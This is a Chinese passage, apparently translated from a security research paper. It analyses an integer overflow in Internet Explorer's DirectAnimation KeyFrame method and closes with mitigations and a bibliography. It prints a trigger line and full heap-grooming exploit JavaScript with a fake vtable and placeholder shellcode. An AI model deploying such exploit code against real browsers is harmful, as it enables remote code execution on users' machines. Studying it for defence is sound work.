KeyFrame方法在Microsoft DirectAnimation SDK中記錄如下: KeyFrame Method 指定路徑上的X和Y坐標(biāo),每次到達(dá)每個(gè)點(diǎn)。第一個(gè)點(diǎn)定義了路徑的起始點(diǎn),只有當(dāng)路徑停止時(shí)該方法可以被使用或修改。 語法: KeyFrameArray = Array( x1, y1, ..., xN, yN ) TimeFrameArray = Array( time2 , ..., timeN ) pathObj.KeyFrame( npoints, KeyFrameArray, TimeFrameArray ) 參數(shù): Npoints 用于定義路徑的點(diǎn)的數(shù)目 x1, y1,..., xN, yN 路徑上識(shí)別點(diǎn)的x 和y坐標(biāo)集 time2,..., timeN 路徑從前一個(gè)點(diǎn)到達(dá)對應(yīng)點(diǎn)中每個(gè)點(diǎn)的所花費(fèi)的對應(yīng)時(shí)間 KeyFrameArray 包含x 和y坐標(biāo)定義的數(shù)組。 TimeFrameArray 包含定義路徑的兩個(gè)點(diǎn)之間的時(shí)間值的數(shù)組,路徑從 x1 和 y1 點(diǎn)開始,通過xN 和 yN 點(diǎn)(路徑中最后的點(diǎn)集)。路徑從點(diǎn)x1 和 y1使用一個(gè)時(shí)間值0開始。 以下 JavaScript代碼會(huì)觸發(fā)漏洞: var target = new ActiveXObject("DirectAnimation.PathControl"); target.KeyFrame(0x7fffffff, new Array(1), new Array(1)); 漏洞代碼 漏洞位于DAXCTLE.OCX的CPathCtl::KeyFrame 函數(shù)中。函數(shù)反匯編代碼如下所示: long __stdcall CPathCtl::KeyFrame(unsigned int npoints, struct tagVARIANT KeyFrameArray, struct tagVARIANT TimeFrameArray) { int err = 0; ...
// The new operator is a wrapper around CMemManager::AllocBuffer. If the // size size is less than 0x2000, it allocates a block from a special // CMemManager heap, otherwise it is equivalent to: // // HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size+8) + 8
buf_1 = new((npoints*2) * 8); buf_2 = new((npoints-1) * 8); KeyFrameArray.field_C = new(npoints*4); TimeFrameArray.field_C = new(npoints*4);
if (buf_1 == NULL || buf_2 == NULL || KeyFrameArray.field_C == NULL || TimeFrameArray.field_C == NULL) { err = E_OUTOFMEMORY; goto cleanup; }
// We set an error and go to the cleanup code if the KeyFrameArray array // is smaller than npoints*2 or TimeFrameArray is smaller than npoints-1
if ( KeyFrameArrayAccessor.ToDoubleArray(npoints*2, buf_1) < 0 || TimeFrameArrayAccessor.ToDoubleArray(npoints-1, buf_2) < 0) { err = E_FAIL; goto cleanup; }
...
cleanup: if (npoints > 0)
// We iterate from 0 to npoints and call a virtual function on all // non-NULL elements of KeyFrameArray->field_C and TimeFrameArray->field_C
for (i = 0; i < npoints; i++) { if (KeyFrameArray.field_C[i] != NULL) KeyFrameArray.field_C[i]->func_8();
if (TimeFrameArray.field_C[i] != NULL) TimeFrameArray.field_C[i]->func_8(); } }
...
return err; }
KeyFrame 函數(shù)用16、8、4乘以npoints參數(shù),分配了四個(gè)緩沖區(qū)。如果npoints 大于0x40000000,分配的大小將折回,函數(shù)將分配四個(gè)小的緩沖區(qū)。在我們的利用中,我們設(shè)置npoints 為0x40000801,函數(shù)將分配0x8018、0x4008和兩個(gè)0x200c的緩沖區(qū)。我么想要最小的緩沖區(qū)大于0x2000字節(jié),因?yàn)楦〉姆峙鋪碜?/span>CMemManager堆,而不是系統(tǒng)分配器。 分配緩沖區(qū)之后,函數(shù)調(diào)用CSafeArrayOfDoublesAccessor::ToDoubleArray()初始化數(shù)組存取器對象。如果KeyFrameArray 的大小小于npoints,ToDoubleArray 將返回E_INVALIDARG。這種情況下執(zhí)行的清除代碼將會(huì)迭代兩個(gè)0x2004字節(jié)的緩沖區(qū),在緩沖區(qū)的每個(gè)非NULL元素上調(diào)用一個(gè)虛函數(shù)。 這些緩沖區(qū)使用HEAP_ZERO_MEMORY標(biāo)志分配,只含有NULL指針。代碼將從0迭代至npoints (0x40000801),然而,將最終訪問越過0x200c字節(jié)緩沖區(qū)末尾的數(shù)據(jù)。如果我們控制了KeyFrameArray.field_C緩沖區(qū)后面的第一個(gè)Dword,使它指向一個(gè)偽造的對象,該對象使用一個(gè)指針指向它的虛表中的shellcode 。對func_8() 的虛函數(shù)調(diào)用將執(zhí)行我們的shellcode 。
利用 要利用這個(gè)漏洞,我們需要控制 0x200c字節(jié)緩沖區(qū)后面的第一個(gè)四字節(jié)。首先,我們要使用大小為0x2010 字節(jié)的塊對堆進(jìn)行碎片整理(內(nèi)存分配器將對齊所有的尺寸到8,所以0x200c被對齊為0x2010)。然后我們分配兩個(gè)大小為0x2020字節(jié)的內(nèi)存塊,在偏移0x200c位置寫偽造的對象指針,然后把他們釋放到空表中。 當(dāng)函數(shù)KeyFrame分配兩個(gè)0x200c字節(jié)緩沖區(qū)時(shí),內(nèi)存分配器將重用我們的0x2020字節(jié)塊,只在第一個(gè)0x200c字節(jié)用零填充。 KeyFrame函數(shù)末尾的Cleanup循環(huán)將到達(dá)偏移0x200c處的偽造對象指針,通過它的虛表調(diào)用調(diào)用一個(gè)函數(shù)。偽造的對象指針指向0x151e58,這個(gè)位置是大小為1008的塊的快表的頭??毂碇形ㄒ坏捻?xiàng)是我們的偽造虛表。 調(diào)用虛函數(shù)的代碼是: .text:100071E4 mov eax, [eax] ; object pointer .text:100071E6 mov ecx, [eax] ; vtable .text:100071E8 push eax .text:100071E9 call dword ptr [ecx+8]
虛函數(shù)調(diào)用通過ecx+8,然后執(zhí)行轉(zhuǎn)換到IEXPLORE.EXE中的jmp ecx跳板,跳板跳回到虛表的開始,并執(zhí)行shellcode,要了解虛表更多的信息,參考前面部分。 完整的利用代碼如下所示: // Create the ActiveX object var target = new ActiveXObject("DirectAnimation.PathControl");
// Initialize the heap library var heap = new heapLib.ie();
// int3 shellcode var shellcode = unescape("%uCCCC");
// address of jmp ecx instruction in IEXPLORE.EXE var jmpecx = 0x4058b5; // Build a fake vtable with pointers to the shellcode var vtable = heap.vtable(shellcode, jmpecx); // Get the address of the lookaside that will point to the vtable var fakeObjPtr = heap.lookasideAddr(vtable); // Build the heap block with the fake object address // // len padding fake obj pointer padding null // 4 bytes 0x200C-4 bytes 4 bytes 14 bytes 2 bytes
var fakeObjChunk = heap.padding((0x200c-4)/2) + heap.addr(fakeObjPtr) + heap.padding(14/2); heap.gc(); heap.debugHeap(true); // Empty the lookaside heap.debug("Emptying the lookaside") for (var i = 0; i < 100; i++) heap.alloc(vtable) // Put the vtable on the lookaise heap.debug("Putting the vtable on the lookaside") heap.lookaside(vtable); // Defragment the heap heap.debug("Defragmenting the heap with blocks of size 0x2010") for (var i = 0; i < 100; i++) heap.alloc(0x2010) // Add the block with the fake object pointer to the free list heap.debug("Creating two holes of size 0x2020"); heap.freeList(fakeObjChunk, 2); // Trigger the exploit target.KeyFrame(0x40000801, new Array(1), new Array(1));
// Cleanup heap.debugHeap(false);
補(bǔ)救 文章的這個(gè)部分將簡明地引入幾種思路來保護(hù)瀏覽器對抗上面介紹的攻擊利用技術(shù)。 堆隔離 保護(hù)瀏覽器堆最明顯,但是并不是完全有效的方法是使用專門的堆存儲(chǔ)JavaScript對象。這需要在OLEAUT32內(nèi)存分配器中有一個(gè)非常小的改變,將會(huì)使字符串分配技術(shù)完全失效。攻擊者仍舊能夠操作字符串堆的布局,但是不能直接控制MSHTML 和ActiveX對象使用的堆。 如果這種保護(hù)機(jī)制在將來的windows發(fā)布中實(shí)現(xiàn),我們期望攻擊利用研究專注于通過指定的ActiveX 方法調(diào)用或DHTML操作控制ActiveX或者MSHTML堆的方法。 在安全架構(gòu)方面,堆布局應(yīng)該被當(dāng)做一個(gè)第一級可利用的對象,類似于?;蚨褦?shù)據(jù)。作為一個(gè)通用的原則,不信任的代碼不應(yīng)該給予直接訪問其他應(yīng)用程序組件使用的堆的權(quán)限。 Non-determinism 向內(nèi)存分配器引入non-determinism是一個(gè)使堆攻擊利用變得更加不可靠的好方法。如果攻擊者不能預(yù)測一個(gè)特別的堆分配在哪里進(jìn)行,那么在想要的狀態(tài)下建立堆將變得更加困難。這不是一個(gè)新的思路,但是據(jù)我們所知,這在任何一個(gè)主要的操作系統(tǒng)中還沒有實(shí)現(xiàn)。 結(jié)論 這篇文章講的堆操作技術(shù)依賴于IE中的JavaScript實(shí)現(xiàn)給予了瀏覽器中執(zhí)行的不信任代碼在系統(tǒng)堆上執(zhí)行任意分配和釋放的能力。這種對堆的控制程度已經(jīng)被證明可以極大的提高甚至最困難的堆破壞攻擊利用的可靠性和精確度。 兩種可能的將來研究途徑是Windows Vista攻擊利用和在Firefox、Opera和Safari上使用同樣的技術(shù)。我們相信用腳本語言操作堆的通用思路同樣適用于許多其它允許不信任腳本執(zhí)行的系統(tǒng)。 書目 堆內(nèi)部原理 · Windows Vista Heap Management Enhancements by Adrian Marinescu 堆攻擊利用 · Third Generation Exploitation by Halvar Flake · Windows Heap Overflows by David Litchfield · XP SP2 Heap Exploitation by Matt Conover · Bypassing Windows heap protections by Nicolas Falliere · Defeating Microsoft Windows XP SP2 Heap Protection and DEP bypass by Alexander Anisimov · Exploiting Freelist[0] on XP SP2 by Brett Moore JavaScript內(nèi)部原理 · How Do The Script Garbage Collectors Work? by Eric Lippert Internet Explorer 攻擊利用 · Internet Explorer IFRAMG exploit by SkyLined
|
|